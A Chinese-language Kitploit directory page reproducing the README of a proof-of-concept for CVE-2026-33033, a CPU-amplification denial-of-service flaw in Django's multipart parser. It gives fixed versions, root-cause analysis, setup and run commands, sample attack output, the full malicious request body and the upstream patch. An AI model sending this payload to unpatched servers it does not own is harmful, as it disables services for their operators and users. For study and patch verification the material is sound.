Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
漏洞分析漏洞利用Web安全渗透测试
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

CVE-2026-33033 的概念验证漏洞利用程序,该漏洞是 Django 的 MultiPartParser 中通过 base64 空白字符导致的 CPU 放大拒绝服务漏洞,演示了通过单个 HTTP 请求即可实现约 800 倍的放大效果。

查看仓库
214个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33033 PoC

通过 base64 空白字符 CPU 放大在 Django MultiPartParser 中实现拒绝服务

单个 2.5 MB 的 HTTP 请求即可占用 Django worker 约 5 秒,相比同大小的正常请求实现了 约 2,100 倍 CPU 放大。无需任何身份验证。

受影响版本

该漏洞已在 Django 6.0.4 安全版本(2026 年 4 月 7 日)中修复,并已向后移植到所有受支持的版本分支。

分支受影响已修复
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

官方描述

CVE-2026-33033:MultiPartParser 通过 base64 编码文件上传存在潜在拒绝服务漏洞(严重性:中等)

当使用 django.http.multipartparser.MultiPartParser 时,包含过多空白字符且带有 Content-Transfer-Encoding: base64 的多部分上传可能会触发重复的内存复制,从而可能导致性能下降。

— Django 6.0.4 发布说明

Django 6.0.4 中修复的其他安全问题

CVE严重性描述
CVE-2026-3902低通过下划线/连字符混淆实现 ASGI 头欺骗
CVE-2026-4277低GenericInlineModelAdmin 中的权限滥用
CVE-2026-4292低ModelAdmin.list_editable 中的权限滥用
CVE-2026-33034低缺少 Content-Length 导致 ASGI 内存上传限制绕过

漏洞摘要

Django 的 MultiPartParser 有一条专门处理带有 Content-Transfer-Encoding: base64 文件部分的代码路径。在从每个块中去除空白字符后,如果结果未对齐到 4 字节的倍数,一个 while 循环会调用 field_stream.read(1) 来逐字节获取额外数据。

当文件主体几乎全部是空白字符时,每个获取的字节都会被剥离为空,因此循环会继续——对每个空白字节调用一次 read(1)。关键洞察在于,每次 read(1) 的实际开销远高于表面所见:

三层放大

root@kitploit:~
第 1 层:  base64 对齐循环对每个空白字节调用 read(1)
              |
第 2 层:  LazyStream.read(1) 获取整个剩余数据(约 64 KB),切片出 1 字节,
          将约 64 KB - 1 字节放回  -->  每次调用 O(C) 字节复制
              |
第 3 层:  unget() 执行  self._leftover = bytes + self._leftover
          每次创建新的 bytes 对象  -->  约 C 字节的 memcpy

每个 64 KB 块中,复制工作构成一个等差数列:

root@kitploit:~
总计 = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 21.5 亿次字节操作

对于 2.5 MB 输入(约 40 个块):单个 HTTP 请求产生 约 860 亿字节 的 memcpy 工作量。

现有防护绕过

Django 包含 _update_unget_history(),如果在 50 次操作中相同字节数被放回 40 次以上,则会抛出 SuspiciousMultipartForm。然而,在此攻击中,unget 的大小是 单调递减的(65535、65534、65533、...),因此每个大小都是唯一的,该检查 永远不会触发。

视图前触发

CSRF 中间件在任何视图运行之前访问 request.POST,因此即使返回 403 的端点也会承担完整的解析开销。

仓库结构

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # 本文件
├── LICENSE
├── requirements.txt    # Python 依赖
├── exploit.py          # 漏洞利用脚本
└── victim/             # 易受攻击的 Django 服务器
    ├── manage.py
    ├── uwsgi.ini       # uWSGI 部署配置
    └── victim/
        ├── __init__.py
        ├── settings.py  # Django 默认配置(无需特殊配置)
        ├── urls.py      # /upload 和 /health 端点
        └── wsgi.py

复现步骤

1. 克隆并设置

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. 启动受害服务器

选项 A:Django 开发服务器(最快)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

选项 B:uWSGI(更真实——使用 4 个 worker)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. 运行漏洞利用

在另一个终端中:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

选项:

标志默认值描述
--targethttp://127.0.0.1:8000/upload目标上传端点
--size2621440(2.5 MB)载荷大小(字节)
--rounds3攻击轮数

4. 预期输出

root@kitploit:~
============================================================
CVE-2026-33033 PoC
通过 base64 空白字符 CPU 放大在 Django MultiPartParser
中实现拒绝服务
============================================================

目标:       http://127.0.0.1:8000/upload
载荷大小: 2,621,440 字节(2.5 MB)
轮数:       3

[*] 检查服务器健康状态...
[+] 服务器已启动。

------------------------------------------------------------
[*] 阶段 1:发送良性请求(正常 base64 数据)
------------------------------------------------------------
    状态: 200
    时间:   5.55 ms

------------------------------------------------------------
[*] 阶段 2:发送恶意请求(base64 + 空白字符)
------------------------------------------------------------

  第 1/3 轮:
    状态: 200
    时间:   4571.12 ms
  ...

============================================================
结果
============================================================
  良性请求:          5.55 ms
  攻击平均时间:       4571.12 ms  (3 轮)
  放大倍数:            823x

[!] 易受攻击:平均攻击时间超过 1 秒。
    单个 2.5 MB 请求占用 worker 约 4.6 秒。
    使用 4 个 worker 时,仅需 4 个并发请求即可对服务器实施 DoS。

漏洞利用原理

该漏洞利用构造了一个包含单个文件部分的 multipart/form-data POST 请求体:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2,621,433 个空格>A
------CVE2026-33033--
  1. 开头的 AAA 使得 stripped_chunk = b"AAA"(3 字节),因此 remaining = 3 % 4 = 3。
  2. while 循环调用 field_stream.read(1) 获取 1 个额外字节以进行对齐。
  3. 每个空格字节都会被剥离为空(b"".join(b" ".split()) == b""),保持 remaining = 3。
  4. 循环对流中的每个空白字节持续执行。
  5. 每次 LazyStream.read(1) 通过 unget 机制在内部复制约 64 KB。

易受攻击的代码

django/http/multipartparser.py,第 302-325 行(Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # 剥离为空
            remaining = len(stripped_chunk) % 4               # 保持为 3

补丁

修复方案(已在 Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29 中应用)将逐字节的 read(1) 循环替换为批量 read(self._chunk_size):

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

关键变更:

  1. read(4 - remaining) → read(self._chunk_size) — 每次读取 64 KB 而非 1-3 字节,将读取调用从约 250 万次减少到约 40 次。
  2. stripped_chunk += ... → stripped_parts.append(...) + 最终 b"".join() — 避免潜在的二次方字节拼接。
  3. len(stripped_chunk) % 4 → stripped_length 计数器 — 避免冗余的长度重新计算。

免责声明

此概念验证仅用于教育和授权的安全测试目的。请负责任地使用,且仅针对您拥有或获得明确测试许可的系统。

许可证

Apache License 2.0 — 参见 LICENSE。

下载工具